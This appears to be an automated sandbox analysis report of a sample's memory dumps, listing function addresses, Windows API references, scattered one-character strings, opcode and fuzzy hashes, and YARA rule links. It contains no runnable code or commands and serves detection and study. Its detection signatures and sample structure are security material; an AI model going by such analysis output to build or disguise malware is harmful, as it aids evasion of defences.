Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad_onexit
String ID: 0$>$E$K$L$N$Z$Z$Z$[
API String ID: 3991507780-3047568331
Opcode ID: c0d27709c062734a4e87afcef755bbc9f1a505da76ed30896bcb0f23f361f5aa
Instruction ID: a4a5bf23d4fc860fd7605b34c69b0eb21c5f8e7f20ad091a14b259e03c64a81d
Opcode Fuzzy Hash: c0d27709c062734a4e87afcef755bbc9f1a505da76ed30896bcb0f23f361f5aa
Instruction Fuzzy Hash: 2E318020D584CC8AEB0997788C193FD7FE5D766305F08C1AAD4C6CA2D2EABD42468751

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800047F8, Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 92libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000001800048AF
_onexit.LIBCMT ref: 00000001800B617C

Strings

^, xrefs: 0000000180004809
@, xrefs: 000000018000481D
G, xrefs: 0000000180004825
9, xrefs: 0000000180004831
c, xrefs: 0000000180004821
Q, xrefs: 0000000180004811
W, xrefs: 0000000180004819
#, xrefs: 0000000180004805
0, xrefs: 000000018000480D

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad_onexit
String ID: #$0$9$@$G$Q$W$^$c
API String ID: 3991507780-1557142051
Opcode ID: eb27f999ca52b3c0d7b8fa164bf7fb7844697113891da477dd02fe27ca31d690
Instruction ID: 5373549110d19f0e6c333672e468710932d86b9bd917b5590793512e0201bb64
Opcode Fuzzy Hash: eb27f999ca52b3c0d7b8fa164bf7fb7844697113891da477dd02fe27ca31d690
Instruction Fuzzy Hash: 623105209589CC8AEB0EA7BC98183FCBFE59725305F0880AAD885CA292E9BD43458751

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004444, Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 92libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000001800044F9
_onexit.LIBCMT ref: 00000001800B617C

Strings

Z, xrefs: 0000000180004469
W, xrefs: 000000018000446D
k, xrefs: 000000018000445D
,, xrefs: 0000000180004461
:, xrefs: 0000000180004459
P, xrefs: 0000000180004455
g, xrefs: 0000000180004451
H, xrefs: 0000000180004465

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: LibraryLoad_onexit
String ID: ,$:$H$P$W$Z$g$k
API String ID: 3991507780-2361755075
Opcode ID: 4c2e56b754bdb669959d6fd36af9c6d8103f8232c396a434910c9b55b7ff13d4
Instruction ID: 578c116bb612dbe65871baa3a9fffe4109004c6ae28c883d80817855f694a554
Opcode Fuzzy Hash: 4c2e56b754bdb669959d6fd36af9c6d8103f8232c396a434910c9b55b7ff13d4
Instruction Fuzzy Hash: 93312930A1898C8AEB4D977C98193FDBFE1D725309F08C0ADD485DB2D2E97D4259D351

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026D0C, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 139fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 0000000180026DC2

Strings

mName)), xrefs: 0000000180026DCC

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: FileRead
String ID: mName))
API String ID: 2738559852-9833442
Opcode ID: 57ee04a09f50590fd20e4d39e462e7ed65b3b179ba68b1908cb89bfc751d1129
Instruction ID: 17a2a0afa46dc1202ada9c6502522afdf4186603d419a88cef2a734a9fd43f67
Opcode Fuzzy Hash: 57ee04a09f50590fd20e4d39e462e7ed65b3b179ba68b1908cb89bfc751d1129
Instruction Fuzzy Hash: 0341F331A18A0C8BEB59EF58D88ABE973E0FB58351F50425EF406D3192DF34E94A87C5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008A718, Relevance: 3.1, APIs: 2, Instructions: 112fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32 ref: 000000018008A7CC
CloseHandle.KERNEL32 ref: 000000018008A7EC

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CloseFileHandleRead
String ID:
API String ID: 2331702139-0
Opcode ID: b89f21862dadd2f343cdf267d07172f9f35229f79f0135a15aa5337502135834
Instruction ID: 65fbc7c7bcfe09d589023831092c80458890f4cc6e2f491fdeb116d47cfeb618
Opcode Fuzzy Hash: b89f21862dadd2f343cdf267d07172f9f35229f79f0135a15aa5337502135834
Instruction Fuzzy Hash: 6931503021CE4D4BF7D6A66C9C507EE72D2FB883A0F509629F456C22D6DF24CB4A8381

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028594, Relevance: 1.8, APIs: 1, Instructions: 294fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00000001800286ED

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ae5ad0795849bf7d1bf3d4431a71a10ac4ba4b81886538853322717d8175d5f4
Instruction ID: 845a4099e97ef99ad71389f49050ad4ff75418417e440f38abbc7d23f3e2a759
Opcode Fuzzy Hash: ae5ad0795849bf7d1bf3d4431a71a10ac4ba4b81886538853322717d8175d5f4
Instruction Fuzzy Hash: AFA19631A19A0C8BEB96DF58D8463ED73E1FF58350F14821AE85AD31D2DF34D90A9781

Uniqueness

Uniqueness Score: -1.00%

Function 00060000, Relevance: 1.7, APIs: 1, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2357048871.0000000000060000.00000040.00000001.sdmp, Offset: 00060000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d987db44f8331772e659607e00da56c62b690f64d79d4d53623b6410f3e599e
Instruction ID: 921c6eb70745fa8e5a9c874234d4eb4755fad5b080a799c14b238e693ff6f710
Opcode Fuzzy Hash: 8d987db44f8331772e659607e00da56c62b690f64d79d4d53623b6410f3e599e
Instruction Fuzzy Hash: B851BA70258F499FCBA4EF29C499B56F7E1FB69311F504A19E09AC3650C774F890CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008AF60, Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 000000018008B063

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7602d0b72355abb8a4aacca880cd6cbc2778979f0ac2bd328d6253d1c0ad6b32
Instruction ID: 8e2e3958054591b2175f9504a430fb5328112874ffcd8b4e5530746dfc5be50d
Opcode Fuzzy Hash: 7602d0b72355abb8a4aacca880cd6cbc2778979f0ac2bd328d6253d1c0ad6b32
Instruction Fuzzy Hash: 903199209086CD8FEB0AD76CC4087FEBFE59BA9304F08415DD589EB392D6B98745C762

Uniqueness

Uniqueness Score: -1.00%

Function 000000018008A838, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 000000018008A899

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7015cf0e1d208775573d57eca78d7b529d19640c7cb80127e4a34113d74ad864
Instruction ID: ecd2129a5e40da7c02aa0545cade571d020a93af087519e800e89fb66ff13f4d
Opcode Fuzzy Hash: 7015cf0e1d208775573d57eca78d7b529d19640c7cb80127e4a34113d74ad864
Instruction Fuzzy Hash: DE01713060CA0D8BF795AA5C985436AB6D1F7DC350F24866EB889C3295DE74CA0A4352

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010DCC, Relevance: 1.3, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 0000000180010E4A

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b76d0d92b3056175e7d7a68c3eb1fe939afc3da5d577cebf0df82abba958171b
Instruction ID: e5c4f3c6fefed4de2d9db690d88d408ed8ffc1d66358e3cee896f942db62650f
Opcode Fuzzy Hash: b76d0d92b3056175e7d7a68c3eb1fe939afc3da5d577cebf0df82abba958171b
Instruction Fuzzy Hash: 3D119131608F0D0FEBD6EF9E945536A76D1FB9C740F144A2EB88DC3251CEA0CA498781

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026C7C, Relevance: 1.3, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 0000000180026C9B

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ffa49e2361f9fa6151d350cc2b9a6cfae86e2b2581d50975af4b442281c36b7b
Instruction ID: 29784f446bafe8e14e1bf77e5a1c082a063a4936b72ea1b1ebb338260038b9ce
Opcode Fuzzy Hash: ffa49e2361f9fa6151d350cc2b9a6cfae86e2b2581d50975af4b442281c36b7b
Instruction Fuzzy Hash: 2C01AD30A04B4A8FE785EF68D8843A577E1FB8C351F10452EA84AC32A1DB74D9588781

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010CC8, Relevance: 1.3, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 0000000180010CD9

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 46bf3d4bfc234771700493ec5f6dcd278c6a604cdc241c2c2c2b3d2018de9036
Instruction ID: 20e4c769fc0ba3ec5b402be5d0732742f48e898f39f652ebb624abca17a628f1
Opcode Fuzzy Hash: 46bf3d4bfc234771700493ec5f6dcd278c6a604cdc241c2c2c2b3d2018de9036
Instruction Fuzzy Hash: E4C09B3455BD5B02FFCD337A5C563553451FB4C307F948124F445C0144DD5CC59A4785

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000000180004080, Relevance: 114.0, APIs: 1, Strings: 64, Instructions: 255COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

M, xrefs: 00000001800040E4
_, xrefs: 00000001800040E0
3, xrefs: 00000001800041A4
w, xrefs: 0000000180004178
%, xrefs: 00000001800041BC
}, xrefs: 0000000180004279
n, xrefs: 0000000180004299
], xrefs: 00000001800041D4
2, xrefs: 00000001800042A5
(, xrefs: 00000001800042AD
8, xrefs: 00000001800040B2
c, xrefs: 000000018000428D
v, xrefs: 00000001800041C8
m, xrefs: 00000001800041C0
7, xrefs: 0000000180004255
Q, xrefs: 0000000180004198
_, xrefs: 000000018000418C
e, xrefs: 0000000180004259
j, xrefs: 00000001800042BD
I, xrefs: 000000018000425D
x, xrefs: 0000000180004281
n, xrefs: 0000000180004275
,, xrefs: 00000001800040E8
n, xrefs: 00000001800042C1
(, xrefs: 0000000180004289
_, xrefs: 00000001800040B6
j, xrefs: 000000018000429D
r, xrefs: 00000001800041C4
$, xrefs: 00000001800041B0
_, xrefs: 00000001800041B8
u, xrefs: 00000001800040A2
W, xrefs: 0000000180004271
g, xrefs: 00000001800040BD
_, xrefs: 00000001800040D1
;, xrefs: 00000001800040FC
m, xrefs: 0000000180004184
?, xrefs: 00000001800042A9
M, xrefs: 00000001800040C5
f, xrefs: 00000001800040AE
Q, xrefs: 00000001800040F0
j, xrefs: 00000001800042C5
<, xrefs: 000000018000427D
$, xrefs: 0000000180004174
T, xrefs: 00000001800040F4
h, xrefs: 00000001800041A0
., xrefs: 0000000180004291
6, xrefs: 00000001800041D8
Q, xrefs: 00000001800041D0
(, xrefs: 0000000180004295
Q, xrefs: 00000001800040F8
l, xrefs: 000000018000417C
w, xrefs: 00000001800042C9
', xrefs: 00000001800040D8
}, xrefs: 00000001800042A1
], xrefs: 00000001800041CC
?, xrefs: 0000000180004269
+, xrefs: 00000001800040EC
*, xrefs: 00000001800040C1
A, xrefs: 0000000180004180
$, xrefs: 000000018000419C
c, xrefs: 00000001800042B5
%, xrefs: 00000001800041AC
}, xrefs: 0000000180004251
{, xrefs: 00000001800040CD

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: $$$$$$%$%$'$($($($*$+$,$.$2$3$6$7$8$;$<$?$?$A$I$M$M$Q$Q$Q$Q$T$W$]$]$_$_$_$_$_$c$c$e$f$g$h$j$j$j$l$m$m$n$n$n$r$u$v$w$w$x${$}$}$}
API String ID: 572287377-1959428564
Opcode ID: 66888f1e264dd4ceeda7dad17e6d6cd6a008f6ae057d3ca9c714f43781c2cec2
Instruction ID: 55c4ccf52dad44a879749a5323b6b02e6c7cec6e21e508ea172ada6a0def9013
Opcode Fuzzy Hash: 66888f1e264dd4ceeda7dad17e6d6cd6a008f6ae057d3ca9c714f43781c2cec2
Instruction Fuzzy Hash: 22B18310D0C2CC89EB0AD6ACD4597DDBFA65B66308F08809DD4C5AF3C7CABA4609C766

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003E8C, Relevance: 33.5, APIs: 1, Strings: 18, Instructions: 211COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

v, xrefs: 0000000180003F41
M, xrefs: 0000000180003FC6
N, xrefs: 0000000180003FCA
V, xrefs: 0000000180003FC2
5, xrefs: 0000000180003EB8
@, xrefs: 0000000180003FD6
Y, xrefs: 0000000180003FEA
l, xrefs: 0000000180003F45
A, xrefs: 0000000180003FCE
g, xrefs: 0000000180003F3D
\, xrefs: 0000000180003FEE
J, xrefs: 0000000180003EC0
V, xrefs: 0000000180003EBC
K, xrefs: 0000000180003F39
o, xrefs: 0000000180003F49
@, xrefs: 0000000180003FE2
|, xrefs: 0000000180003FDE
P, xrefs: 0000000180003EB0

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: 5$@$@$A$J$K$M$N$P$V$V$Y$\$g$l$o$v$|
API String ID: 572287377-1440385867
Opcode ID: 52febb7491ccaa29067322d2f92327e3ef100ce3079d6b67063644c4f3365bf5
Instruction ID: aa0742f8f996391c8d97bbbeba0cde0444392d3f7ff92f0727f4ac1843de11a3
Opcode Fuzzy Hash: 52febb7491ccaa29067322d2f92327e3ef100ce3079d6b67063644c4f3365bf5
Instruction Fuzzy Hash: B4613C106441CD4ADB0D9E7C89163EA7E96D7A6304F1C916DE8C2CF2C7D97987168391

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004358, Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 100COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

Z, xrefs: 0000000180004391
#, xrefs: 0000000180004379
U, xrefs: 0000000180004381
6, xrefs: 0000000180004385
d, xrefs: 0000000180004371
Z, xrefs: 000000018000438D
j, xrefs: 0000000180004365
=, xrefs: 000000018000437D
y, xrefs: 0000000180004375
h, xrefs: 000000018000436D

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: #$6$=$U$Z$Z$d$h$j$y
API String ID: 572287377-22016479
Opcode ID: e9c64b49872f9eaea4761a464af7fb1778f73ea936b1df95d39b79aa7acba6d5
Instruction ID: d602f1ed691ba670b803755ba4e593a935607f6d4391547a2541af4c8853a39e
Opcode Fuzzy Hash: e9c64b49872f9eaea4761a464af7fb1778f73ea936b1df95d39b79aa7acba6d5
Instruction Fuzzy Hash: 42315C20D585CC9AEB0DD7B888193FC7FE5D726305F18D0AED8C2DA2D2D97943069711

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B90, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 98COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

K, xrefs: 0000000180004BB9
Z, xrefs: 0000000180004BC1
Z, xrefs: 0000000180004BBD
N, xrefs: 0000000180004BC5
E, xrefs: 0000000180004BB5
w, xrefs: 0000000180004BA1
=, xrefs: 0000000180004BA5
~, xrefs: 0000000180004BAD

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: =$E$K$N$Z$Z$w$~
API String ID: 572287377-18133356
Opcode ID: 51bf59bcbbe35eb53bf777d7a7a7ea85a12440dacc5f3baa3f0237c3abce0d1a
Instruction ID: 7189c0c4ec992c26e0e0503dc2ae62498b7a87c4cf5e5a86528ba760beaab4c4
Opcode Fuzzy Hash: 51bf59bcbbe35eb53bf777d7a7a7ea85a12440dacc5f3baa3f0237c3abce0d1a
Instruction Fuzzy Hash: 9F318E20D584CC8AEB0D97B88C193FC7FE5D766305F08D0AED8C2CA293EABD42168711

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800049C8, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

y, xrefs: 00000001800049E5
*, xrefs: 00000001800049E1
t, xrefs: 00000001800049F5
O, xrefs: 00000001800049F1
[, xrefs: 00000001800049D5
G, xrefs: 0000000180004A01
C, xrefs: 00000001800049D9
`, xrefs: 00000001800049E9

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: *$C$G$O$[$`$t$y
API String ID: 572287377-2990012425
Opcode ID: d8b1dd485c116c5565b02b24a7cedbec06b16ddf92f031d5dd69963ead9bae0b
Instruction ID: b982ead9ddc8f56a71383d566c2d972ba7e8c67ce8df33ef30c7da0ef8fcd6c5
Opcode Fuzzy Hash: d8b1dd485c116c5565b02b24a7cedbec06b16ddf92f031d5dd69963ead9bae0b
Instruction Fuzzy Hash: EC310520E585CC8AEB0DE7BC99183FCBFE59726305F08C1ADD485CA2D2EABD43499355

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180092554, Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 266COMMON

Download Yara Rule

Strings

AAAA, xrefs: 00000001800929C2
\$@H, xrefs: 00000001800929D6
`, xrefs: 0000000180092720
AAAA, xrefs: 0000000180092A7C
Ic@<, xrefs: 0000000180092760
\$ H, xrefs: 00000001800928AB
e.dl, xrefs: 000000018009290D

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID:
String ID: AAAA$AAAA$Ic@<$\$ H$\$@H$`$e.dl
API String ID: 0-3109644384
Opcode ID: 75e3c314f4d914f8a5376c428e991dd1b5423d3ad0a8e5e3f72d53c3fc2c021a
Instruction ID: 042ea5d864fb86803701f59e8a1548199adfdced8de40d9f2e801b47001f1f7b
Opcode Fuzzy Hash: 75e3c314f4d914f8a5376c428e991dd1b5423d3ad0a8e5e3f72d53c3fc2c021a
Instruction Fuzzy Hash: 95D123B0809B8C8FDB60DF59C9857DEBBB0FB55340F20860DE9A99B251C7718685CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004D5C, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

U, xrefs: 0000000180004D95
\, xrefs: 0000000180004D6D
\, xrefs: 0000000180004D75
2, xrefs: 0000000180004D71
(, xrefs: 0000000180004D69
2, xrefs: 0000000180004D79
i, xrefs: 0000000180004D85

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: ($2$2$U$\$\$i
API String ID: 572287377-691445519
Opcode ID: 1e13a38cb41ba31f205fbdbe50a63bbc23046d4b61f74abcc2a2741b3bc9cfd8
Instruction ID: 426191b6d21b76f0d0e4287660045f23c75732f10c3272bdc04fd00cebcb9810
Opcode Fuzzy Hash: 1e13a38cb41ba31f205fbdbe50a63bbc23046d4b61f74abcc2a2741b3bc9cfd8
Instruction Fuzzy Hash: 553188209189CD8AEB0997B888193FD7FE5D726309F08D0AAD4C2CA292D9BC43069751

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000471C, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 90COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

G, xrefs: 0000000180004741
c, xrefs: 000000018000473D
^, xrefs: 0000000180004731
9, xrefs: 000000018000474D
W, xrefs: 0000000180004735
`, xrefs: 0000000180004729
@, xrefs: 0000000180004739

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: 9$@$G$W$^$`$c
API String ID: 572287377-2082880091
Opcode ID: 1cee99b73f1288cc14d2157b0103c60d6c048ff2d8db3559dd8d00863e060639
Instruction ID: 7f9e1580ecf86a22bd2ab7b9c6e069ddeb2d9a143531cfaf24c1885a147124b6
Opcode Fuzzy Hash: 1cee99b73f1288cc14d2157b0103c60d6c048ff2d8db3559dd8d00863e060639
Instruction Fuzzy Hash: DC31482095898C4EEB0DAB7CD8183FCBFE5D765304F0880AAD885DA2D2EAB94245D750

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000119C, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 82COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

s, xrefs: 00000001800011CC
>, xrefs: 00000001800011AC
", xrefs: 00000001800011C0
,, xrefs: 00000001800011C4
H, xrefs: 00000001800011BC
H, xrefs: 00000001800011B0
4, xrefs: 00000001800011B8

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: "$,$4$>$H$H$s
API String ID: 572287377-1718596837
Opcode ID: 3d7644792349a57e3cd66d997bc312b1a7a538b1a44c301fcd7a369501021ecb
Instruction ID: 609d29289277fc6a0f34e39e5312e96752a10cb10063485d9d75694af0b08a9f
Opcode Fuzzy Hash: 3d7644792349a57e3cd66d997bc312b1a7a538b1a44c301fcd7a369501021ecb
Instruction Fuzzy Hash: 36214C20E584CC4AEB0EA6BC98193FCBF959766304F18D5ADE482DA2D3EC7847098351

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004C74, Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00000001800B617C

Strings

;, xrefs: 0000000180004C99
*, xrefs: 0000000180004C81
v, xrefs: 0000000180004C8D
2, xrefs: 0000000180004C95
i, xrefs: 0000000180004C9D
U, xrefs: 0000000180004CAD

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _onexit
String ID: *$2$;$U$i$v
API String ID: 572287377-3532343991
Opcode ID: a2f7818e069274f03b3e15c5e3705efca555cd567e7599598ad10f72dcd587a8
Instruction ID: ae30fb1211235a89a6f51258ebcdc31c1beebdb69d45a8ef7eb81eeb99a56424
Opcode Fuzzy Hash: a2f7818e069274f03b3e15c5e3705efca555cd567e7599598ad10f72dcd587a8
Instruction Fuzzy Hash: B7315C209584CD4AEB0D97B888193FD7FE5D766309F18D0AEE4C2DA2D2E9BD43069351

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800A7768, Relevance: 12.2, APIs: 8, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000001800A7788
std::_Lockit::_Lockit.LIBCPMT ref: 00000001800A77AD
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800A77D7
std::_Facet_Register.LIBCPMT ref: 00000001800A7849
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800A7863
std::bad_alloc::bad_alloc.LIBCMT ref: 00000001800A787D
_CxxThrowException.LIBVCRUNTIME ref: 00000001800A788E
__std_exception_copy.LIBVCRUNTIME ref: 00000001800A78BB

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrow__std_exception_copystd::bad_alloc::bad_alloc
String ID:
API String ID: 25803274-0
Opcode ID: 1f2294d942d575d04ea214074903128cfcdc3f3370bb2379c7d2c3686ef85bf9
Instruction ID: a31c8126d8e32cee9f660f3fd59ef841512a680728ad7bc11c5ee2dd02c0f465
Opcode Fuzzy Hash: 1f2294d942d575d04ea214074903128cfcdc3f3370bb2379c7d2c3686ef85bf9
Instruction Fuzzy Hash: 31416331204E0C8FE796EF58C8947A577E1FB6C351F10866AE00DD72A2DE759A89C781

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800765A4, Relevance: 10.9, APIs: 7, Instructions: 391COMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 00000001800766B1
_cwprintf_s_l.LIBCMT ref: 00000001800766C4
_cwprintf_s_l.LIBCMT ref: 00000001800766DF
_cwprintf_s_l.LIBCMT ref: 000000018007677A
_cwprintf_s_l.LIBCMT ref: 000000018007683C
_cwprintf_s_l.LIBCMT ref: 0000000180076919
_cwprintf_s_l.LIBCMT ref: 000000018007693A

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _cwprintf_s_l
String ID:
API String ID: 2941638530-0
Opcode ID: 1b8b3fcdcde3e4b70832fc383991bf21b18a13d44304cb456f461fa0f62e0089
Instruction ID: 1d16b45835b818b20a3c01bdf129e5b00196bbcbe080d76a9f2b599b35625794
Opcode Fuzzy Hash: 1b8b3fcdcde3e4b70832fc383991bf21b18a13d44304cb456f461fa0f62e0089
Instruction Fuzzy Hash: 1CD1A631918B0C8BE7A6DB18D485BE673E0FB58350F50471AF487C71A2EE79EA49C781

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800A73A0, Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000001800A73C0
std::_Lockit::_Lockit.LIBCPMT ref: 00000001800A73E5
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800A740F
std::_Facet_Register.LIBCPMT ref: 00000001800A7481
std::_Lockit::~_Lockit.LIBCPMT ref: 00000001800A749B
std::bad_alloc::bad_alloc.LIBCMT ref: 00000001800A74B5
_CxxThrowException.LIBVCRUNTIME ref: 00000001800A74C6

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$ExceptionFacet_RegisterThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 4235596951-0
Opcode ID: 0d647baeb09400d746720d5443a76636c791e2a47fea5d8daf422085925fedd6
Instruction ID: 80b92692d8022ac9a044779dc2e03f67476df1ebc8a29ba116cc3667520e495b
Opcode Fuzzy Hash: 0d647baeb09400d746720d5443a76636c791e2a47fea5d8daf422085925fedd6
Instruction Fuzzy Hash: 0D412230608E0C4FE796EF59D8957AA7AE1FB9C350F10866DF15DC31A2DF309A898741

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800AC9AC, Relevance: 9.4, APIs: 6, Instructions: 422COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD2B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD31
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD37
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD3D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD43
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00000001800ACD49

Memory Dump Source

Source File: 0000000A.00000002.2358094776.0000000180001000.00000020.00000001.sdmp, Offset: 0000000180001000, based on PE: false

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: e327d274931076d81b9d3935ae1a0e5eaa8992c79efeaaa25c3d25d2b1510d3c
Instruction ID: 2ae05d7ad53a45b81ff19510fcd114d5d26b29ed19656331310f5700e1c9f454
Opcode Fuzzy Hash: e327d274931076d81b9d3935ae1a0e5eaa8992c79efeaaa25c3d25d2b1510d3c
Instruction Fuzzy Hash: DDD1D531628E1C8FDF55EF68C445BEDB3E2FB58310F508219E04AD72D6DA34A98AC781

Uniqueness

Uniqueness Score: -1.00%

